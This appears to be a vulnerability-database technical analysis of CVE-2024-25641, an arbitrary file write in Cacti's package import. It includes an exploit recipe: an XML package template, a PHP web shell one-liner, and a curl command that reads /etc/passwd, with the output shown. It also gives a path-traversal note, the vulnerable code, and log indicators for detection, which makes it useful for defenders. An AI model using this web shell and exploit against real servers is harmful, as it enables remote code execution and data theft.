Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-25641

Disclosure Date: May 14, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Cacti provides an operational monitoring and fault management framework. Prior to version 1.2.27, an arbitrary file write vulnerability, exploitable through the “Package Import” feature, allows authenticated users having the “Import Templates” permission to execute arbitrary PHP code on the web server. The vulnerability is located within the import_package() function defined into the /lib/import.php script. The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts. Version 1.2.27 contains a patch for this issue.

Add Assessment

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Cacti versions prior to 1.2.27 are vulnerable to arbitrary file write that could lead to RCE. This requires authentication and the account needs the Template Editor permission to exploit this vulnerability.

Exploit

Once authenticated, the attacker just needs to import the following XML package, with the desired payload previously base64 encoded.

<xml>
   <files>
      <file>
         <name>resource/payload.php</name>
         <data>...base64 encoded payload…</data>
         <filesignature>...base64 encoded signature of the payload file</filesignature>
      </file>
   </files>
   <publickey>...base64 encoded public key...</publickey>
   <signature>...base64 encoded signature of this package XML file…</signature>
</xml>

Note that the signatures of the payload and the XML file are RSA-based signatures with SHA-256.

The entire XML has to be Gzipped before being sent through the Import/Export > Import Packages page. This results in having our PHP payload file being extracted to the resource/ directory, which is accessible externally at http://<catci host>/<cacti root path>/resource/payload.php.

One typical payload to achieve code execution would be:

<?php system($_GET['cmd']); ?>

which can be triggered by sending the following request:

❯ curl "http://127.0.0.1:8080/cacti/resource/payload.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Analysis

The following code snippet from the import_package() function in lib/import.php is responsible for handling the import of the XML package:

 517         foreach ($data['files']['file'] as $f) {
 518                 $fdata = base64_decode($f['data']);
 519                 $name = $f['name'];
 520
 521                 if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
 522                         $filename = $config['base_path'] . "/$name";
 523
 524                         if (!$preview) {
 525                                 if (!cacti_sizeof($import_files) || in_array($name, $import_files)) {
 526                                         cacti_log('Writing file: ' . $filename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
 527
 528                                         if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
 529                                                 $file = fopen($filename, 'wb');
 530
 531                                                 if (is_resource($file)) {
 532                                                         fwrite($file , $fdata, strlen($fdata));
 533                                                         fclose($file);
 534                                                         clearstatcache();
 535                                                         $filestatus[$filename] = __('written');
 536                                                 } else {

The data is decoded line 518 and written to file on line 532. The filename is retrieved from the name field line 519 and must include 'scripts/ or resource/ (line 521). The final destination path is constructed line 522. Since the scripts/ directory is not accessible externally, having our payload in the resource/ directory is the preferred option.

Note that there is no protection against path traversal and it should be possible to set the file name to something like resource/../../../../../../../<path from the root>/payload and write the payload anywhere on the filesystem, as long as the user running Cacti has the right permissions.

IoC

The original PoC and the Metasploit module sends a minimum XML package and many optional fields are missing. This generates a series of entries in the main Cacti log (<cacti installation path>/log/cacti.log). These can be a good indicator the exploit has been executed.

2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[195]:import_package(), /lib/import.php[607]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: info in file: /var/www/html/cacti/lib/import.php  on line: 341
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[451]:import_package_get_details(), /lib/import.php[341]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: author in file: /var/www/html/cacti/package_import.php  on line: 481
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[481]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: homepage in file: /var/www/html/cacti/package_import.php  on line: 482
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[482]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: email in file: /var/www/html/cacti/package_import.php  on line: 483
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[483]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: copyright in file: /var/www/html/cacti/package_import.php  on line: 490
CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • Cacti

Products

  • cacti

Additional Info

Technical Analysis